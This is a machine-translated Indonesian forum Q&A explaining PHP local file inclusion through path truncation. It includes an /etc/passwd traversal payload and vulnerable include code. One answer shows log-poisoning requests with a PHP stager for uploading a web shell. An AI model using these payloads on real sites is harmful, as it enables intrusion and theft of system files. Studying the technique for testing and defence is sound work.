it-swarm-id.com

Bagaimana saya bisa menggunakan jalur ini memotong / mengeksploitasi Inklusi File Lokal?

Saya telah mencoba menjalankan skrip pemindaian kerentanan (Uniscan 6.0) pada beberapa situs web dan kemudian saya menemukan situs yang dapat dieksploitasi dengan jalur berikut ini. (termasuk kata "tidak valid", params/situs web keduanya disensor)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Untuk langkah selanjutnya, saya benar-benar ingin memahami apa yang sebenarnya terjadi, jadi saya mencoba untuk mengeksploitasinya secara manual. (Saya melihat beberapa tutorial tentang LFI)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. tidak valid ../../../../../../../../../../../../../../../ etc/passwd &. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

tetapi mereka tidak bekerja kecuali jalan yang sangat panjang pertama, apa yang terjadi?

Kode php apa yang harus saya gunakan? Dan bagaimana jalan panjang itu dapat memotong kode-php yang rentan itu?

Informasi berikut mungkin bermanfaat.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Menarik! @catalyze telah menggali situasi yang benar-benar menarik dan menyenangkan di sini. Saya ingin meluangkan waktu untuk merangkum apa yang terjadi di sini, di situs ini. (Penghargaan penuh untuk @catalyze dan Francesco "ascii" Ongaro; Saya hanya meringkas apa yang mereka jelaskan.)

Ringkasan. Ini bukan serangan LFI sehari-hari. Sebaliknya, ini adalah sesuatu yang lebih tidak biasa dan pintar. Di sini kita memiliki kerentanan yang tidak dapat dieksploitasi melalui metode LFI standar; Anda perlu lebih banyak trik untuk mengetahui cara mengeksploitasinya.

Latar Belakang. Pertama, saya perlu memberi tahu Anda dua fakta tentang penanganan file PHP yang ditemukan oleh Francesco "ascii" Ongaro dan lainnya:

  • Fakta 1. Anda dapat menambahkan hal-hal ke akhir nama file. Semua orang tahu itu /./etc/passwd hanyalah cara lain untuk merujuk ke /etc/passwd file. Tapi, berikut beberapa yang mungkin belum Anda ketahui.

    Di PHP, ternyata /etc/passwd/ juga mengacu pada /etc/passwd file: trailing slash dilepas. Liar, ya? Ini tidak berfungsi pada pangkalan Unix, jadi agak mengejutkan bahwa PHP akan menerima nama file seperti itu, tetapi tampaknya PHP sendiri telah dikupas) mengikuti garis miring sebelum membuka file.

    Anda dapat menambahkan sejumlah garis miring: /etc/passwd//// juga OK.

    Dan, Anda dapat menambahkan ./ (sebanyak yang Anda inginkan). Contohnya, /etc/passwd/., /etc/passwd/./, dan /etc/passwd/././. semua merujuk ke /etc/passwd. Tergila-gila! PHP tidak peduli.

  • Fakta 2. Jalur panjang terpotong. Pada sebagian besar instalasi PHP, jika nama file lebih panjang dari 4096 byte, maka akan terpotong secara diam-diam dan semuanya setelah 4096 byte pertama akan dibuang. Tidak ada kesalahan yang dipicu: kelebihan karakter dibuang begitu saja dan PHP terus berlanjut dengan senang hati.

Serangan. Sekarang saya siap untuk menggambarkan serangan itu. Saya akan menunjukkan kode rentan kepada Anda, mengapa serangan LFI standar tidak berhasil, dan kemudian bagaimana membangun serangan yang lebih pintar yang berhasil. Hasilnya menjelaskan apa yang dilihat @catalyze di pentest-nya.

Kode rentan. Misalkan kita memiliki kode yang terlihat seperti ini:

<?php
include("includes/".$_GET['param1'].".php");
?>

Ini terlihat seperti file lokal yang menyertakan kerentanan (LFI), bukan? Tapi situasinya sebenarnya sedikit lebih rumit daripada yang mungkin muncul pertama kali. Untuk mengetahui alasannya, mari kita lihat beberapa serangan.

Serangan standar. Cara standar dan naif untuk mencoba mengeksploitasi kerentanan LFI ini adalah menyediakan parameter yang terlihat seperti ?param1=../../../../var/www/shared/badguy/evil. Di atas PHP kode kemudian akan mencoba untuk memasukkan file includes/../../../../var/www/shared/badguy/evil.php. Jika kita menganggap bahwa file /var/www/shared/badguy/evil.php ada dan dikendalikan oleh penyerang, maka serangan ini akan berhasil menyebabkan aplikasi mengeksekusi kode jahat yang dipilih oleh penyerang.

Tetapi ini hanya berfungsi jika penyerang dapat memperkenalkan file dengan isi pilihannya ke sistem file, dengan nama file yang diakhiri dengan .php. Bagaimana jika penyerang tidak mengontrol file apa pun di sistem file yang berakhiran .php? Nah, kalau begitu, serangan standar akan gagal. Tidak peduli berapa nilai parameter persediaan penyerang, ini hanya akan membuka nama file yang diakhiri dengan .php ekstensi.

Serangan yang lebih canggih. Dengan fakta latar belakang tambahan yang saya berikan sebelumnya, mungkin Anda dapat melihat bagaimana cara menghasilkan serangan yang lebih canggih yang mengalahkan batasan ini.

Pada dasarnya, penyerang memilih nilai parameter yang sangat panjang, sehingga nama file yang dibangun lebih panjang dari 4.096 byte. Ketika nama file terpotong, .php ekstensi akan dibuang. Dan jika penyerang dapat mengatur nama file yang dihasilkan untuk merujuk ke file yang ada pada sistem file, penyerang itu baik.

Sekarang ini mungkin terdengar seperti serangan yang dibuat-buat. Bagaimana kemungkinan kita dapat menemukan nama file pada filesystem yang panjang lintasannya persis 4096 byte? Mungkin tidak begitu baik?

Di sinilah fakta latar belakang berperan. Penyerang dapat mengirim permintaan dengan ?param1=../../../../etc/passwd/./././././<...> (dengan ./ pola berulang ribuan kali). Sekarang lihat nama file apa saja yang dimasukkan, setelah awalan didahului dan .php ekstensi file ditambahkan: itu akan menjadi seperti includes/../../../../etc/passwd/./././././<...>.php. Nama file ini akan lebih panjang dari 4096 byte, sehingga akan terpotong. Pemotongan akan menghapus ekstensi file dan meninggalkan kami dengan nama file formulir includes/../../../../etc/passwd/./././././<...>. Dan, terima kasih untuk caranya PHP menangani garis miring dan garis belakang ./ urutan, semua hal pada akhirnya akan diabaikan. Dengan kata lain, nama file ini akan diperlakukan oleh PHP setara dengan path includes/../../../../etc/passwd. Jadi PHP akan mencoba membaca dari file kata sandi, dan ketika menemukan PHP kesalahan sintaksis di sana, itu mungkin membuang isi file kata sandi ke dalam kesalahan) halaman - mengungkapkan informasi rahasia kepada penyerang.

Jadi teknik ini memungkinkan untuk mengeksploitasi beberapa kerentanan yang tidak dapat dieksploitasi melalui metode standar. Lihat halaman yang menghubungkan tautan @catalyze untuk diskusi yang lebih terperinci dan banyak contoh lainnya.

Ini juga menjelaskan mengapa @catalyze tidak dapat mengeksploitasi serangan dengan mengirimkan sesuatu seperti ?param1=../../../../etc/passwd: Sebuah .php ekstensi ditambahkan, dan file /etc/passwd.php tidak ada, jadi serangannya gagal.

Ringkasan. Keanehan dalam penanganan jalur file PHP memungkinkan segala macam serangan halus terhadap kerentanan yang jika tidak akan muncul tidak dapat dieksploitasi. Untuk pentester, teknik serangan ini mungkin perlu diketahui.

Untuk pengembang, pelajarannya sama: validasi input Anda; jangan percaya input yang diberikan oleh penyerang; tahu tentang kerentanan web klasik, dan jangan masukkan mereka ke dalam kode Anda.

33
D.W.

Akhirnya, saya menemukan solusinya!

Teknik memotong LFI ini disebut Path Truncation attack

Skenario:

  • Tidak ada daftar putih/hitam, open_base_dir atau konfigurasi akses yang membatasi
  • Ada magic_quotes lolos dari nullbytes ketika addlashes () secara implisit dipanggil pada semua input GPC dan SERVER. (pada kasus ini etc/passwd%00 akan menjadi etc/passwd\0, jadi tidak dapat mengevaluasi sebagai file yang benar.)
  • include_path (dalam php.ini ) berisi yang terakhir path absolut untuk memicu bagian rentan yang kompleks dalam kode sumber PHP (misalnya, include_path = ".:/usr/share/php" )
  • PHP <? (Siapa tau?)

Payload:

  • Harus mulai dengan direktori yang tidak ada
  • Lanjutkan dengan kereta luncur traversal, arahkan ke jalan yang akan disertakan
  • Akhiri dengan kereta luncur normalisasi/pemotongan.

Orang pintar ada di sini ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Saya akan menjawab pertanyaan ini dengan peringatan bahwa saya membuat asumsi ini digunakan untuk tujuan hukum, dan hanya untuk penelitian keamanan.

Jika kita berbicara tentang situs web PHP, ini mungkin yang terjadi di backend:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Anda berpotensi mengeksploitasi LFI ini untuk mengunggah kulit web Anda, dan menjalankan perintah sistem di Shell web. Cara paling sederhana untuk melakukan ini adalah menyuntikkan ke access.log, dan mengakses access.log. Cara paling sederhana untuk melakukan ini adalah dengan memodifikasi User Agent, atau mungkin bahkan permintaan GET, untuk memasukkan beberapa kode PHP yang akan membantu Anda mengatur stager. Misalnya, telnet ke dalam situs web , dan permintaan berikut, harus menyuntikkan ke access.log:

GET/ <?php phpinfo() ?>

Jelas, semua ini akan lakukan adalah memberi Anda PHP Informasi dari access.log, tetapi Anda mendapatkan ide. Sekarang, pada baris yang sama, Anda dapat dengan mudah melakukan sesuatu seperti:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

dan kemudian unggah base64 yang disandikan PHP skrip ke dalamnya, dan bawa web Shell Anda di sana. Saya akan menyerahkannya kepada Anda untuk mencari tahu sisanya, itu seharusnya tidak sulit Ada tutorial yang benar-benar multi-bagian untuk ini --- Kaotic Creations yang harus Anda baca, jika Anda tertarik untuk mempelajari lebih lanjut tentang ini.

5